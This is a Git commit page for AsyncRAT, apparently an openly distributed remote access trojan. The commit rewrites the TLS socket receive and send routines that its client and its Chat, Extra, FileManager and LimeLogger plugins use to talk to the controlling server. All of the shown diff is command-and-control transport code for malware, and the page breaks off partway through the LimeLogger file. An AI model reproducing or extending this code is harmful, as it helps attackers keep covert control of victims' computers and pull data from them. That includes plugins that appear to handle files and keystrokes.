Sapphire/AsyncRAT-C-Sharp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

updated receive and send socket

Browse Source
This commit is contained in:
NYAN CAT 2019-12-14 18:59:58 +03:00
parent d40e4c971f
commit 316e07e3a5
15 changed files with 519 additions and 502 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

74
AsyncRAT-C#/Client/Connection/ClientSocket.cs
View File

@ -25,9 +25,9 @@ namespace Client.Connection
public static Socket TcpClient { get; set; } //Main socket public static Socket TcpClient { get; set; } //Main socket
public static SslStream SslClient { get; set; } //Main SSLstream public static SslStream SslClient { get; set; } //Main SSLstream
private static byte[] Buffer { get; set; } //Socket buffer private static byte[] Buffer { get; set; } //Socket buffer
private static long Buffersize { get; set; } //Recevied size private static long HeaderSize { get; set; } //Recevied size
private static long Offset { get; set; } // Buffer location
private static Timer KeepAlive { get; set; } //Send Performance private static Timer KeepAlive { get; set; } //Send Performance
private static MemoryStream MS { get; set; } //Socket MS
public static bool IsConnected { get; set; } //Check socket status public static bool IsConnected { get; set; } //Check socket status
private static object SendSync { get; } = new object(); //Sync send private static object SendSync { get; } = new object(); //Sync send
private static Timer Ping { get; set; } //Send ping interval private static Timer Ping { get; set; } //Send ping interval
@ -89,11 +89,12 @@ namespace Client.Connection
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Send(IdSender.SendInfo()); Send(IdSender.SendInfo());
KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 60 * 1000)); KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 60 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -131,7 +132,6 @@ namespace Client.Connection
KeepAlive?.Dispose(); KeepAlive?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
} }
catch { } catch { }
} }
@ -148,34 +148,40 @@ namespace Client.Connection
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Client Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -208,25 +214,21 @@ namespace Client.Connection
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
Debug.WriteLine("send chunks"); Debug.WriteLine("send chunks");
int chunkSize = 50 * 1024; using (MemoryStream memoryStream = new MemoryStream(msg))
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

75
AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs
View File

@ -19,9 +19,9 @@ namespace Plugin
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; } public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
public static string Hwid { get; set; } public static string Hwid { get; set; }
@ -44,8 +44,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -90,12 +91,11 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
} }
catch { } catch { }
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
@ -107,34 +107,40 @@ namespace Plugin
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -166,25 +172,22 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; Debug.WriteLine("send chunks");
byte[] chunk = new byte[chunkSize]; using (MemoryStream memoryStream = new MemoryStream(msg))
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

75
AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs
View File

@ -19,9 +19,9 @@ namespace Plugin
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; } public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
public static string Hwid { get; set; } public static string Hwid { get; set; }
@ -44,8 +44,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -86,13 +87,12 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
GC.Collect(); GC.Collect();
} }
catch { } catch { }
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
@ -104,34 +104,40 @@ namespace Plugin
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -163,25 +169,22 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; Debug.WriteLine("send chunks");
byte[] chunk = new byte[chunkSize]; using (MemoryStream memoryStream = new MemoryStream(msg))
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

75
AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs
View File

@ -20,9 +20,9 @@ namespace Plugin
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; } public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
public static string Hwid { get; set; } public static string Hwid { get; set; }
@ -45,8 +45,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -92,13 +93,12 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
GC.Collect(); GC.Collect();
} }
catch { } catch { }
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
@ -110,34 +110,40 @@ namespace Plugin
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -169,25 +175,22 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; Debug.WriteLine("send chunks");
byte[] chunk = new byte[chunkSize]; using (MemoryStream memoryStream = new MemoryStream(msg))
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

79
AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs
View File

@ -24,8 +24,8 @@ namespace Plugin
public Socket TcpClient { get; set; } public Socket TcpClient { get; set; }
public SslStream SslClient { get; set; } public SslStream SslClient { get; set; }
private byte[] Buffer { get; set; } private byte[] Buffer { get; set; }
private long Buffersize { get; set; } private static long HeaderSize { get; set; }
private MemoryStream MS { get; set; } private static long Offset { get; set; }
public bool IsConnected { get; set; } public bool IsConnected { get; set; }
private object SendSync { get; } = new object(); private object SendSync { get; } = new object();
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
@ -49,8 +49,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
} }
@ -85,65 +86,66 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
} }
catch { } catch { }
} }
public void ReadServertData(IAsyncResult ar) public void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
if (!Connection.IsConnected || !IsConnected) if (!TcpClient.Connected || !IsConnected)
{ {
IsConnected = false; IsConnected = false;
Dispose();
return; return;
} }
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
Dispose();
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
IsConnected = false; IsConnected = false;
Dispose();
return; return;
} }
} }
catch catch
{ {
IsConnected = false; IsConnected = false;
Dispose();
return; return;
} }
} }
@ -166,21 +168,16 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
Debug.WriteLine("send chunks"); Debug.WriteLine("send chunks");
int chunkSize = 50 * 1024; using (MemoryStream memoryStream = new MemoryStream(msg))
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else

75
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs
View File

@ -19,9 +19,9 @@ namespace Plugin
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; } public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
public static string Hwid { get; set; } public static string Hwid { get; set; }
@ -44,8 +44,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -87,12 +88,11 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
} }
catch { } catch { }
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
@ -104,34 +104,40 @@ namespace Plugin
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -163,25 +169,22 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; Debug.WriteLine("send chunks");
byte[] chunk = new byte[chunkSize]; using (MemoryStream memoryStream = new MemoryStream(msg))
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
